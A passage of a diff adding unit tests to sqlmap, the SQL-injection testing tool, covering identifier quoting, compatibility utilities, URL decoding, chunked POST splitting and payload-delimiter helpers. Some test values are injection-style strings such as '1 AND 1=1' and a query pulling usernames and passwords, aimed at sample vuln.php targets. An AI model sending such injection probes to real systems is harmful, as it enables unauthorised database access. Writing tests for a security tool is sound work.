self.assertEqual(self._run(DBMS.MSSQL, "begin"), "[begin]") + + def test_plain_name_unquoted(self): + self.assertEqual(self._run(DBMS.MSSQL, "foobar"), "foobar") + + def test_firebird_name_with_space_double_quoted(self): + self.assertEqual(self._run(DBMS.FIREBIRD, "foo bar"), '"foo bar"') + + def test_mysql_keyword_backticked(self): + self.assertEqual(self._run(DBMS.MYSQL, "select"), "`select`") + + def test_oracle_keyword_uppercased(self): + # Oracle quotes AND uppercases reserved words + self.assertEqual(self._run(DBMS.ORACLE, "table"), '"TABLE"') + + def test_unsafe_naming_passthrough(self): + orig = conf.unsafeNaming + try: + conf.unsafeNaming = True + self.assertEqual(self._run(DBMS.MYSQL, "select"), "select") + finally: + conf.unsafeNaming = orig + + +class TestGetPartRun(unittest.TestCase): + def test_no_dbms_handler_in_stack(self): + # called from a test (no conf.dbmsHandler.* on the stack) -> None + self.assertIsNone(getPartRun()) + + def test_non_alias_form_also_none(self): + self.assertIsNone(getPartRun(alias=False)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_compat.py b/tests/test_compat.py new file mode 100644 index 00000000000..69edf2e7adc --- /dev/null +++ b/tests/test_compat.py @@ -0,0 +1,290 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Tests for lib/core/compat.py -- cross-version compatibility utilities, +including WichmannHill RNG, patchHeaders, cmp_to_key, LooseVersion, +MixedWriteTextIO, and _codecs_open. +""" + +import io +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.compat import (WichmannHill, patchHeaders, cmp, choose_boundary, + round, cmp_to_key, LooseVersion, _is_write_mode, + MixedWriteTextIO, _codecs_open, codecs_open) +from lib.core.compat import xrange + + +class TestWichmannHill(unittest.TestCase): + def test_seed_and_random(self): + r = WichmannHill(42) + self.assertIsInstance(r.random(), float) + self.assertGreaterEqual(r.random(), 0.0) + self.assertLess(r.random(), 1.0) + + def test_deterministic_seed(self): + r1 = WichmannHill(123) + r2 = WichmannHill(123) + # First random numbers should match + self.assertEqual([r1.random() for _ in range(10)], + [r2.random() for _ in range(10)]) + + def test_getstate_setstate(self): + r = WichmannHill(7) + for _ in range(20): + r.random() + state = r.getstate() + saved = [r.random() for _ in range(5)] + r.setstate(state) + self.assertEqual(saved, [r.random() for _ in range(5)]) + + def test_jumpahead(self): + r1 = WichmannHill(99) + r2 = WichmannHill(99) + for _ in range(10): + r1.random() + r2.jumpahead(10) + self.assertEqual(r1.getstate()[1], r2.getstate()[1]) + + def test_jumpahead_negative_raises(self): + r = WichmannHill() + with self.assertRaises(ValueError): + r.jumpahead(-1) + + def test_whseed(self): + # a fixed integer whseed must be deterministic across instances ... + r1 = WichmannHill() + r1.whseed(12345) + r2 = WichmannHill() + r2.whseed(12345) + self.assertEqual([r1.random() for _ in range(10)], + [r2.random() for _ in range(10)]) + # ... and pin the known sequence (hash(int) == int, so stable across processes) + r3 = WichmannHill() + r3.whseed(12345) + self.assertEqual([round(r3.random(), 6) for _ in range(3)], + [0.600031, 0.872148, 0.039151]) + + def test_whseed_none(self): + r = WichmannHill() + r.whseed() # seeds from current time; must not raise + # the time-derived seed must still drive a valid in-range sequence. (Non-determinism is NOT + # asserted here: __whseed() derives its seed from int(time.time()*256) masked to 24 bits, so + # two back-to-back instances legitimately collide - that would be a timing-fragile test. The + # os.urandom-backed seed() None path IS asserted non-deterministic in test_seed_none.) + seq = [r.random() for _ in range(10)] + self.assertTrue(all(isinstance(x, float) and 0.0 <= x < 1.0 for x in seq)) + # the seed must actually advance the generator (not stuck on a constant) + self.assertGreater(len(set(seq)), 1) + + def test_seed_none(self): + r = WichmannHill() + r.seed() # seeds from os.urandom/time; must not raise + seq = [r.random() for _ in range(10)] + self.assertTrue(all(isinstance(x, float) and 0.0 <= x < 1.0 for x in seq)) + other = WichmannHill() + other.seed() + self.assertNotEqual(seq, [other.random() for _ in range(10)]) + + def test_seed_hashable(self): + # a non-int hashable seed goes through hash(a); two instances seeded with the same + # object in the same process must produce the same sequence (determinism). The literal + # values are NOT pinned because hash() of a str is randomized per process. + r1 = WichmannHill("a_string_seed") + r2 = WichmannHill("a_string_seed") + seq = [r1.random() for _ in range(10)] + self.assertEqual(seq, [r2.random() for _ in range(10)]) + self.assertTrue(all(0.0 <= x < 1.0 for x in seq)) + # a different seed must yield a different sequence + r3 = WichmannHill("different_seed") + self.assertNotEqual(seq, [r3.random() for _ in range(10)]) + + def test_setstate_bad_version(self): + r = WichmannHill() + with self.assertRaises(ValueError): + r.setstate((999, (1, 1, 1), None)) + + +class TestPatchHeaders(unittest.TestCase): + def test_patches_dict_to_header_obj(self): + h = patchHeaders({"Host": "example.com", "Content-Type": "text/html"}) + self.assertEqual(h["host"], "example.com") + self.assertEqual(h["content-type"], "text/html") + self.assertEqual(h.get("HOST"), "example.com") + self.assertIsNone(h.get("missing")) + self.assertIsNotNone(h.headers) + self.assertTrue(any("Host: example.com" in _ for _ in h.headers)) + + def test_passthrough_none(self): + self.assertIsNone(patchHeaders(None)) + + def test_passthrough_existing_headers_attr(self): + d = {"A": "1"} + d["headers"] = [] + result = patchHeaders(d) + self.assertEqual(result, d) # unchanged + + +class TestCmp(unittest.TestCase): + def test_less(self): + self.assertEqual(cmp("a", "b"), -1) + + def test_greater(self): + self.assertEqual(cmp(2, 1), 1) + + def test_equal(self): + self.assertEqual(cmp(5, 5), 0) + + +class TestRound(unittest.TestCase): + def test_positive(self): + self.assertEqual(round(2.0), 2.0) + self.assertEqual(round(2.5), 3.0) + self.assertEqual(round(2.499), 2.0) + + def test_negative(self): + self.assertEqual(round(-2.5), -3.0) + self.assertEqual(round(-2.0), -2.0) + + def test_with_decimals(self): + self.assertAlmostEqual(round(2.567, d=2), 2.57) + + +class TestCmpToKey(unittest.TestCase): + def test_sort_with_cmp(self): + items = [3, 1, 4, 1, 5] + key_func = cmp_to_key(lambda a, b: (a > b) - (a < b)) + self.assertEqual(sorted(items, key=key_func), [1, 1, 3, 4, 5]) + + def test_reverse_sort(self): + items = [3, 1, 2] + key_func = cmp_to_key(lambda a, b: (b > a) - (b < a)) + self.assertEqual(sorted(items, key=key_func), [3, 2, 1]) + + def test_hash_raises(self): + k = cmp_to_key(lambda a, b: 0)(5) + with self.assertRaises(TypeError): + hash(k) + + +class TestLooseVersion(unittest.TestCase): + def test_basic(self): + self.assertEqual(LooseVersion("1.0"), (1, 0)) + self.assertEqual(LooseVersion("1.0.1"), (1, 0, 1)) + + def test_comparison(self): + self.assertTrue(LooseVersion("1.0.1") > LooseVersion("1.0")) + self.assertTrue(LooseVersion("8.0.22") > LooseVersion("8.0.2")) + + def test_no_digits(self): + self.assertEqual(LooseVersion("alpha"), ()) + self.assertEqual(LooseVersion(""), ()) + self.assertEqual(LooseVersion(None), ()) + + def test_with_suffix(self): + self.assertEqual(LooseVersion("1.0alpha"), (1, 0)) + self.assertEqual(LooseVersion("10.5.3-beta"), (10, 5, 3)) + + +class TestIsWriteMode(unittest.TestCase): + def test_write_modes(self): + for mode in ("w", "a", "x", "w+", "a+", "x+", "w+b", "ab"): + self.assertTrue(_is_write_mode(mode), msg="mode %r" % mode) + + def test_read_modes(self): + for mode in ("r", "rb", ""): + self.assertFalse(_is_write_mode(mode), msg="mode %r" % mode) + + +class TestMixedWriteTextIO(unittest.TestCase): + def test_text_write(self): + buf = io.StringIO() + w = MixedWriteTextIO(buf, "utf-8", "strict") + w.write(u"hello") + self.assertEqual(buf.getvalue(), "hello") + + def test_bytes_write_decodes(self): + buf = io.StringIO() + w = MixedWriteTextIO(buf, "utf-8", "strict") + w.write(b"world") + self.assertEqual(buf.getvalue(), "world") + + def test_writelines(self): + buf = io.StringIO() + w = MixedWriteTextIO(buf, "utf-8", "strict") + w.writelines([u"a", u"b", u"c"]) + self.assertEqual(buf.getvalue(), "abc") + + def test_iterator(self): + buf = io.StringIO(u"line1\nline2\n") + w = MixedWriteTextIO(buf, "utf-8", "strict") + self.assertEqual(list(w), ["line1\n", "line2\n"]) + + def test_enter_exit(self): + buf = io.StringIO() + w = MixedWriteTextIO(buf, "utf-8", "strict") + with w as f: + f.write(u"test") + self.assertTrue(buf.closed) + + +class TestCodecsOpen(unittest.TestCase): + def test_no_encoding_returns_io_open(self): + tmp = tempfile.NamedTemporaryFile(mode='w', suffix='.txt', delete=False) + tmp.close() + try: + f = _codecs_open(tmp.name, "w", encoding=None) + f.write(u"test") + f.close() + with open(tmp.name) as fh: + self.assertIn("test", fh.read()) + finally: + os.unlink(tmp.name) + + def test_with_encoding(self): + tmp = tempfile.NamedTemporaryFile(mode='w', suffix='.txt', delete=False) + tmp.close() + try: + f = _codecs_open(tmp.name, "w", encoding="utf-8") + f.write(u"caf\xe9") + f.close() + with open(tmp.name, "rb") as fh: + self.assertIn(b"caf\xc3\xa9", fh.read()) + finally: + os.unlink(tmp.name) + + def test_with_encoding_and_bytes(self): + tmp = tempfile.NamedTemporaryFile(mode='w', suffix='.txt', delete=False) + tmp.close() + try: + f = _codecs_open(tmp.name, "w", encoding="utf-8") + # MixedWriteTextIO should accept bytes too + f.write(b"bytes_input") + f.close() + with open(tmp.name) as fh: + self.assertIn("bytes_input", fh.read()) + finally: + os.unlink(tmp.name) + + +class TestChooseBoundary(unittest.TestCase): + def test_length(self): + self.assertEqual(len(choose_boundary()), 32) + + def test_hex_chars(self): + b = choose_boundary() + self.assertTrue(all(c in "0123456789abcdef" for c in b)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_core_extra.py b/tests/test_core_extra.py new file mode 100644 index 00000000000..5c1a5a282fa --- /dev/null +++ b/tests/test_core_extra.py @@ -0,0 +1,676 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Additional REAL unit coverage for genuinely-uncovered PURE functions in: + + * lib/core/common.py + * lib/core/option.py + * lib/core/agent.py + * lib/request/basic.py + +Every test asserts a concrete, independently-reasoned known-correct value that +would FAIL if the function under test regressed. No isinstance-only checks, no +tautologies, no swallowed exceptions. + +Functions targeted here are deliberately DIFFERENT from those already exercised +by tests/test_common_utils.py, test_common_parsers.py, test_core_more.py, +test_core_final.py, test_option_setup.py, test_option_more.py, test_agent.py, +test_agent_dialects.py, test_decodepage.py and test_charset.py. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +from tests._testutils import bootstrap, set_dbms + +bootstrap() + +from lib.core.data import conf, kb +from lib.core.defaults import defaults +from lib.core.common import Backend +from lib.core.enums import DBMS + + +class TestCommonStringHelpers(unittest.TestCase): + """Small pure string/list/regex/encoding helpers in lib/core/common.py.""" + + def test_posix_to_nt_slashes(self): + from lib.core.common import posixToNtSlashes + self.assertEqual(posixToNtSlashes("C:/Windows"), "C:\\Windows") + self.assertEqual(posixToNtSlashes("a/b/c"), "a\\b\\c") + # falsy input returned unchanged + self.assertEqual(posixToNtSlashes(""), "") + self.assertIsNone(posixToNtSlashes(None)) + + def test_nt_to_posix_slashes(self): + from lib.core.common import ntToPosixSlashes + self.assertEqual(ntToPosixSlashes("C:\\Windows"), "C:/Windows") + self.assertEqual(ntToPosixSlashes("a\\b\\c"), "a/b/c") + self.assertEqual(ntToPosixSlashes(""), "") + + def test_is_hex_encoded_string(self): + from lib.core.common import isHexEncodedString + self.assertTrue(isHexEncodedString("DEADBEEF")) + self.assertTrue(isHexEncodedString("0x1234")) # 'x' is allowed by the regex + self.assertFalse(isHexEncodedString("test")) + self.assertFalse(isHexEncodedString("12 34")) # space breaks it + + def test_is_digit(self): + from lib.core.common import isDigit + self.assertTrue(isDigit("123456")) + self.assertFalse(isDigit("3b3")) + self.assertFalse(isDigit(u"\xb2")) # superscript-2: str.isdigit() True, isDigit False + self.assertFalse(isDigit("")) # empty -> no match + self.assertFalse(isDigit(None)) + + def test_sanitize_str(self): + from lib.core.common import sanitizeStr + self.assertEqual(sanitizeStr("foo\n\rbar"), "foo bar") + self.assertEqual(sanitizeStr("a\r\nb"), "a b") + self.assertEqual(sanitizeStr(None), "None") + + def test_filter_control_chars(self): + from lib.core.common import filterControlChars + self.assertEqual(filterControlChars("AND 1>(2+3)\n--"), "AND 1>(2+3) --") + # custom replacement character + self.assertEqual(filterControlChars("a\tb", replacement="_"), "a_b") + + def test_normalize_path(self): + from lib.core.common import normalizePath + self.assertEqual(normalizePath("//var///log/apache.log"), "/var/log/apache.log") + self.assertEqual(normalizePath("/a/b/../c"), "/a/c") + + def test_directory_path(self): + from lib.core.common import directoryPath + self.assertEqual(directoryPath("/var/log/apache.log"), "/var/log") + # no extension -> returned unchanged + self.assertEqual(directoryPath("/var/log"), "/var/log") + + def test_longest_common_prefix(self): + from lib.core.common import longestCommonPrefix + self.assertEqual(longestCommonPrefix("foobar", "fobar"), "fo") + self.assertEqual(longestCommonPrefix("abc", "abd", "abe"), "ab") + # single sequence returned verbatim + self.assertEqual(longestCommonPrefix("only"), "only") + + def test_first_not_none(self): + from lib.core.common import firstNotNone + self.assertEqual(firstNotNone(None, None, 1, 2, 3), 1) + self.assertEqual(firstNotNone(None, 0), 0) # 0 is not None + self.assertIsNone(firstNotNone(None, None)) + + def test_decode_string_escape(self): + from lib.core.common import decodeStringEscape + self.assertEqual(decodeStringEscape("a\\tb"), "a\tb") + self.assertEqual(decodeStringEscape("a\\nb"), "a\nb") + # no backslash -> unchanged + self.assertEqual(decodeStringEscape("plain"), "plain") + + def test_encode_string_escape(self): + from lib.core.common import encodeStringEscape + self.assertEqual(encodeStringEscape("a\tb"), "a\\tb") + self.assertEqual(encodeStringEscape("a\nb"), "a\\nb") + self.assertEqual(encodeStringEscape("plain"), "plain") + + def test_decode_encode_string_escape_roundtrip(self): + from lib.core.common import decodeStringEscape, encodeStringEscape + self.assertEqual(decodeStringEscape(encodeStringEscape("x\ty\nz")), "x\ty\nz") + + def test_escape_json_value(self): + from lib.core.common import escapeJsonValue + # newline gets escaped (literal '\n' becomes the two chars backslash+n) + self.assertNotIn("\n", escapeJsonValue("foo\nbar")) + self.assertIn("\\n", escapeJsonValue("foo\nbar")) + # tab gets escaped to '\t' + self.assertIn("\\t", escapeJsonValue("foo\tbar")) + # quote and backslash escaped + self.assertEqual(escapeJsonValue('a"b'), 'a\\"b') + self.assertEqual(escapeJsonValue("a\\b"), "a\\\\b") + # ordinary characters untouched + self.assertEqual(escapeJsonValue("plain text"), "plain text") + + def test_clean_query(self): + from lib.core.common import cleanQuery + self.assertEqual(cleanQuery("select id from users"), "SELECT id FROM users") + # already-uppercase keywords stay; identifiers untouched + self.assertEqual(cleanQuery("SELECT a FROM t"), "SELECT a FROM t") + + def test_json_minimize_canonical(self): + from lib.core.common import jsonMinimize + # key order / whitespace independence + self.assertEqual(jsonMinimize('{"b": 2, "a": 1}'), jsonMinimize('{"a":1, "b":2}')) + # nested leaf path + self.assertEqual(jsonMinimize('{"a": {"b": 1}}'), ".a.b=1") + # empty object + self.assertEqual(jsonMinimize("{}"), "") + # not parseable -> None (and only None) + self.assertIsNone(jsonMinimize("not json")) + + def test_json_minimize_array_length_registers(self): + from lib.core.common import jsonMinimize + # array length change must perturb the projection + self.assertNotEqual(jsonMinimize('{"a": [1, 2]}'), jsonMinimize('{"a": [1, 2, 3]}')) + + def test_list_to_str_value(self): + from lib.core.common import listToStrValue + self.assertEqual(listToStrValue([1, 2, 3]), "1, 2, 3") + # set/tuple/generator normalized via list first + self.assertEqual(listToStrValue((1, 2)), "1, 2") + # non-list passes through + self.assertEqual(listToStrValue("abc"), "abc") + + def test_intersect(self): + from lib.core.common import intersect + self.assertEqual(intersect([1, 2, 3], set([1, 3])), [1, 3]) + # order follows containerA + self.assertEqual(intersect([3, 2, 1], [1, 2]), [2, 1]) + # case-insensitive option + self.assertEqual(intersect(["FOO", "bar"], ["foo"], lowerCase=True), ["foo"]) + + def test_priority_sort_columns(self): + from lib.core.common import prioritySortColumns + # 'id'-containing columns first, then by ascending length + self.assertEqual( + prioritySortColumns(["password", "userid", "name", "id"]), + ["id", "userid", "name", "password"], + ) + + def test_safe_variable_naming(self): + from lib.core.common import safeVariableNaming + self.assertEqual(safeVariableNaming("class.id"), "EVAL_636c6173732e6964") + # plain identifier left untouched + self.assertEqual(safeVariableNaming("foobar"), "foobar") + + def test_unsafe_variable_naming(self): + from lib.core.common import unsafeVariableNaming + self.assertEqual(unsafeVariableNaming("EVAL_636c6173732e6964"), "class.id") + self.assertEqual(unsafeVariableNaming("foobar"), "foobar") + + def test_variable_naming_roundtrip(self): + from lib.core.common import safeVariableNaming, unsafeVariableNaming + self.assertEqual(unsafeVariableNaming(safeVariableNaming("a-b")), "a-b") + + def test_average(self): + from lib.core.common import average + self.assertAlmostEqual(average([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]), 0.9, places=6) + self.assertEqual(average([2, 4]), 3.0) + self.assertIsNone(average([])) + + def test_stdev(self): + from lib.core.common import stdev + self.assertEqual("%.3f" % stdev([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]), "0.063") + # fewer than 2 values -> None + self.assertIsNone(stdev([1.0])) + self.assertIsNone(stdev([])) + + +class TestCommonSafeCompare(unittest.TestCase): + """Constant-time / checksum helpers.""" + + def test_safe_compare_strings(self): + from lib.core.common import safeCompareStrings + self.assertTrue(safeCompareStrings("test", "test")) + self.assertFalse(safeCompareStrings("test1", "test2")) + self.assertFalse(safeCompareStrings("test", None)) + # both None compares equal (a == b path) + self.assertTrue(safeCompareStrings(None, None)) + + def test_safe_cs_value(self): + from lib.core.common import safeCSValue + # ensure deterministic delimiter + old = conf.get("csvDel") + conf.csvDel = defaults.csvDel + try: + self.assertEqual(safeCSValue("foo, bar"), '"foo, bar"') + self.assertEqual(safeCSValue("foobar"), "foobar") + self.assertEqual(safeCSValue("foo\rbar"), '"foo\rbar"') + self.assertEqual(safeCSValue('foo"bar'), '"foo""bar"') + finally: + conf.csvDel = old + + +class TestCommonSafeExString(unittest.TestCase): + def test_sqlmap_exception_message(self): + from lib.core.common import getSafeExString + from lib.core.exception import SqlmapBaseException + self.assertEqual(getSafeExString(SqlmapBaseException("foobar")), "foobar") + + def test_oserror_prefixed_with_type(self): + from lib.core.common import getSafeExString + self.assertEqual(getSafeExString(OSError(0, "foobar")), "OSError: foobar") + + def test_generic_value_error(self): + from lib.core.common import getSafeExString + self.assertEqual(getSafeExString(ValueError("bad input")), "ValueError: bad input") + + +class TestCommonHostHeader(unittest.TestCase): + def test_plain_host(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://www.target.com/vuln.php?id=1"), "www.target.com") + + def test_default_port_stripped(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://www.target.com:80/x"), "www.target.com") + self.assertEqual(getHostHeader("https://www.target.com:443/x"), "www.target.com") + + def test_nondefault_port_kept(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://www.target.com:8080/x"), "www.target.com:8080") + + def test_ipv6_brackets(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://[::1]:8080/vuln.php?id=1"), "[::1]:8080") + self.assertEqual(getHostHeader("http://[::1]/vuln.php?id=1"), "[::1]") + + +class TestCommonCheckSameHost(unittest.TestCase): + def test_same_host(self): + from lib.core.common import checkSameHost + self.assertTrue(checkSameHost( + "http://www.target.com/page1.php?id=1", + "http://www.target.com/images/page2.php", + )) + + def test_different_host(self): + from lib.core.common import checkSameHost + self.assertFalse(checkSameHost( + "http://www.target.com/page1.php?id=1", + "http://www.target2.com/images/page2.php", + )) + + def test_www_prefix_ignored(self): + from lib.core.common import checkSameHost + # leading 'www.' is stripped before comparison + self.assertTrue(checkSameHost("http://www.target.com/a", "http://target.com/b")) + + def test_single_url_true_and_empty_none(self): + from lib.core.common import checkSameHost + self.assertTrue(checkSameHost("http://only.com/a")) + self.assertIsNone(checkSameHost()) + + +class TestCommonUrldecode(unittest.TestCase): + def test_convall_true(self): + from lib.core.common import urldecode + self.assertEqual(urldecode("AND%201%3E%282%2B3%29%23", convall=True), "AND 1>(2+3)#") + + def test_convall_false_keeps_unsafe(self): + from lib.core.common import urldecode + # %2B (plus) is in the default 'unsafe' set so it stays encoded when convall=False + self.assertEqual(urldecode("AND%201%3E%282%2B3%29%23", convall=False), "AND 1>(2%2B3)#") + + def test_bytes_input(self): + from lib.core.common import urldecode + self.assertEqual(urldecode(b"AND%201%3E%282%2B3%29%23", convall=False), "AND 1>(2%2B3)#") + + def test_spaceplus(self): + from lib.core.common import urldecode + # with spaceplus the '+' becomes a space + self.assertEqual(urldecode("a+b", convall=False, spaceplus=True), "a b") + # without spaceplus the '+' stays + self.assertEqual(urldecode("a+b", convall=False, spaceplus=False), "a+b") + + +class TestCommonChunkSplit(unittest.TestCase): + def test_chunk_split_post_data(self): + import random + from lib.core.common import chunkSplitPostData + from lib.core.patch import unisonRandom + # The pinned docstring value is produced under sqlmap's cross-version PRNG; install it + # (then restore the stdlib functions) so the expectation is deterministic here too. + _saved = (random.choice, random.randint, random.sample, random.seed) + unisonRandom() + try: + random.seed(0) + expected = ('5;4Xe90\r\nSELEC\r\n3;irWlc\r\nT u\r\n1;eT4zO\r\ns\r\n' + '5;YB4hM\r\nernam\r\n9;2pUD8\r\ne,passwor\r\n3;mp07y\r\nd F\r\n' + '5;8RKXi\r\nROM u\r\n4;MvMhO\r\nsers\r\n0\r\n\r\n') + self.assertEqual(chunkSplitPostData("SELECT username,password FROM users"), expected) + finally: + random.choice, random.randint, random.sample, random.seed = _saved + + def test_chunk_split_terminator(self): + import random + from lib.core.common import chunkSplitPostData + random.seed(123) + # regardless of content, the chunked stream must end with the zero-length terminator + self.assertTrue(chunkSplitPostData("abc").endswith("0\r\n\r\n")) + + +class TestCommonDecodeIntToUnicode(unittest.TestCase): + def tearDown(self): + set_dbms(None) + + def test_basic_ascii(self): + from lib.core.common import decodeIntToUnicode + self.assertEqual(decodeIntToUnicode(35), "#") + self.assertEqual(decodeIntToUnicode(64), "@") + self.assertEqual(decodeIntToUnicode(65), "A") + + def test_non_int_passthrough(self): + from lib.core.common import decodeIntToUnicode + # non-int is returned unchanged + self.assertEqual(decodeIntToUnicode("x"), "x") + + def test_pgsql_high_codepoint(self): + from lib.core.common import decodeIntToUnicode + set_dbms(DBMS.PGSQL) + # value > 255 on PGSQL takes the _unichr(value) branch + self.assertEqual(decodeIntToUnicode(0x2122), u"™") + + +class TestCommonDecodeDbmsHex(unittest.TestCase): + def setUp(self): + self._old_binary = kb.binaryField + kb.binaryField = False + + def tearDown(self): + kb.binaryField = self._old_binary + set_dbms(None) + + def test_plain_hex(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue("3132332031"), u"123 1") + + def test_odd_length_appends_question_mark(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue("313233203"), u"123 ?") + + def test_list_input(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue(["0x31", "0x32"]), [u"1", u"2"]) + + def test_non_hex_passthrough(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue("5.1.41"), u"5.1.41") + + +class TestCommonUnsafeSQLIdentificator(unittest.TestCase): + def tearDown(self): + set_dbms(None) + + def test_mssql_brackets(self): + from lib.core.common import unsafeSQLIdentificatorNaming + from lib.core.common import getText + set_dbms(DBMS.MSSQL) + self.assertEqual(getText(unsafeSQLIdentificatorNaming("[begin]")), "begin") + self.assertEqual(getText(unsafeSQLIdentificatorNaming("foobar")), "foobar") + + def test_mysql_backticks(self): + from lib.core.common import unsafeSQLIdentificatorNaming, getText + set_dbms(DBMS.MYSQL) + self.assertEqual(getText(unsafeSQLIdentificatorNaming("`col`")), "col") + + def test_oracle_uppercases(self): + from lib.core.common import unsafeSQLIdentificatorNaming, getText + set_dbms(DBMS.ORACLE) + # Oracle strips double quotes and uppercases + self.assertEqual(getText(unsafeSQLIdentificatorNaming('"name"')), "NAME") + + +class TestCommonParseSqliteSchema(unittest.TestCase): + def setUp(self): + self._old_cached = kb.data.get("cachedColumns") + self._old_db = conf.db + self._old_tbl = conf.tbl + kb.data.cachedColumns = {} + conf.db = "SQLITE_MASTER" + conf.tbl = "users" + + def tearDown(self): + kb.data.cachedColumns = self._old_cached + conf.db = self._old_db + conf.tbl = self._old_tbl + + def test_simple_schema(self): + from lib.core.common import parseSqliteTableSchema + self.assertTrue(parseSqliteTableSchema( + "CREATE TABLE users(\n\t\tid INTEGER,\n\t\tname TEXT\n);")) + cols = kb.data.cachedColumns[conf.db][conf.tbl] + self.assertEqual(tuple(cols.items()), (("id", "INTEGER"), ("name", "TEXT"))) + + def test_constraints_skipped(self): + from lib.core.common import parseSqliteTableSchema + self.assertTrue(parseSqliteTableSchema( + "CREATE TABLE suppliers(\n\tsupplier_id INTEGER PRIMARY KEY DESC,\n\tname TEXT NOT NULL\n);")) + cols = kb.data.cachedColumns[conf.db][conf.tbl] + self.assertEqual(tuple(cols.items()), (("supplier_id", "INTEGER"), ("name", "TEXT"))) + + +class TestAgentPure(unittest.TestCase): + """Pure agent.py methods independent of full injection state.""" + + @classmethod + def setUpClass(cls): + from lib.core.agent import agent + cls.agent = agent + + def tearDown(self): + set_dbms(None) + + def test_get_comment_present(self): + from lib.core.datatype import AttribDict + request = AttribDict() + request.comment = "-- foo" + self.assertEqual(self.agent.getComment(request), "-- foo") + + def test_get_comment_absent(self): + from lib.core.datatype import AttribDict + request = AttribDict() + self.assertEqual(self.agent.getComment(request), "") + + def test_add_payload_delimiters(self): + from lib.core.settings import PAYLOAD_DELIMITER + value = "1 AND 1=1" + result = self.agent.addPayloadDelimiters(value) + self.assertEqual(result, "%s%s%s" % (PAYLOAD_DELIMITER, value, PAYLOAD_DELIMITER)) + # falsy value returned unchanged + self.assertEqual(self.agent.addPayloadDelimiters(""), "") + + def test_remove_payload_delimiters_roundtrip(self): + self.assertEqual( + self.agent.removePayloadDelimiters(self.agent.addPayloadDelimiters("1 AND 1=1")), + "1 AND 1=1", + ) + + def test_extract_payload(self): + wrapped = "prefix" + self.agent.addPayloadDelimiters("1 AND 1=1") + "suffix" + self.assertEqual(self.agent.extractPayload(wrapped), "1 AND 1=1") + + def test_replace_payload(self): + wrapped = "prefix" + self.agent.addPayloadDelimiters("OLD") + "suffix" + replaced = self.agent.replacePayload(wrapped, "NEW") + self.assertEqual(self.agent.extractPayload(replaced), "NEW") + # surrounding text preserved + self.assertTrue(replaced.startswith("prefix")) + self.assertTrue(replaced.endswith("suffix")) + + def test_simple_concatenate_mysql(self): + set_dbms(DBMS.MYSQL) + # MySQL concatenate query template is 'CONCAT(%s,%s)' + self.assertEqual(self.agent.simpleConcatenate("a", "b"), "CONCAT(a,b)") + + def test_hex_convert_field_mysql(self): + set_dbms(DBMS.MYSQL) + # MySQL hex template is 'HEX(%s)' + self.assertEqual(self.agent.hexConvertField("col"), "HEX(col)") + + def test_get_fields_select_from(self): + set_dbms(DBMS.MYSQL) + result = self.agent.getFields("SELECT a, b FROM users") + fieldsToCastList = result[5] + fieldsToCastStr = result[6] + self.assertEqual(fieldsToCastStr, "a, b") + self.assertEqual(fieldsToCastList, ["a", "b"]) + + def test_get_fields_no_from(self): + set_dbms(DBMS.MYSQL) + # a bare SELECT without FROM -> fieldsSelectFrom is None, casts the whole select list + result = self.agent.getFields("SELECT 1") + fieldsSelectFrom = result[0] + self.assertIsNone(fieldsSelectFrom) + self.assertEqual(result[6], "1") + + +class TestAgentWhereQuery(unittest.TestCase): + @classmethod + def setUpClass(cls): + from lib.core.agent import agent + cls.agent = agent + + def setUp(self): + self._old_dumpWhere = conf.dumpWhere + self._old_tbl = conf.tbl + conf.tbl = None + + def tearDown(self): + conf.dumpWhere = self._old_dumpWhere + conf.tbl = self._old_tbl + set_dbms(None) + + def test_no_dumpwhere_passthrough(self): + conf.dumpWhere = None + query = "SELECT a FROM t" + self.assertEqual(self.agent.whereQuery(query), query) + + def test_appends_where_clause(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>0" + # no existing WHERE -> appends ' WHERE id>0' + self.assertEqual(self.agent.whereQuery("SELECT a FROM t"), "SELECT a FROM t WHERE id>0") + + def test_and_when_where_present(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>0" + # existing WHERE -> appended with AND + self.assertEqual( + self.agent.whereQuery("SELECT a FROM t WHERE x=1"), + "SELECT a FROM t WHERE x=1 AND id>0", + ) + + def test_splices_before_order_by(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>0" + # WHERE must be spliced before the trailing ORDER BY suffix + self.assertEqual( + self.agent.whereQuery("SELECT a FROM t ORDER BY a"), + "SELECT a FROM t WHERE id>0 ORDER BY a", + ) + + +class TestBasicHeuristicCharEncoding(unittest.TestCase): + def test_ascii(self): + from lib.request.basic import getHeuristicCharEncoding + self.assertEqual(getHeuristicCharEncoding(b""), "ascii") + + def test_cache_hit_returns_same(self): + from lib.request.basic import getHeuristicCharEncoding + page = b"hello world" + first = getHeuristicCharEncoding(page) + # second call for identical page must come back identical (and from cache) + self.assertEqual(getHeuristicCharEncoding(page), first) + key = (len(page), hash(page)) + self.assertEqual(kb.cache.encoding.get(key), first) + + +class TestBasicDecodePage(unittest.TestCase): + """decodePage charset + HTML-entity decoding branches.""" + + def setUp(self): + self._old_encoding = conf.encoding + self._old_null = conf.nullConnection + conf.nullConnection = False + + def tearDown(self): + conf.encoding = self._old_encoding 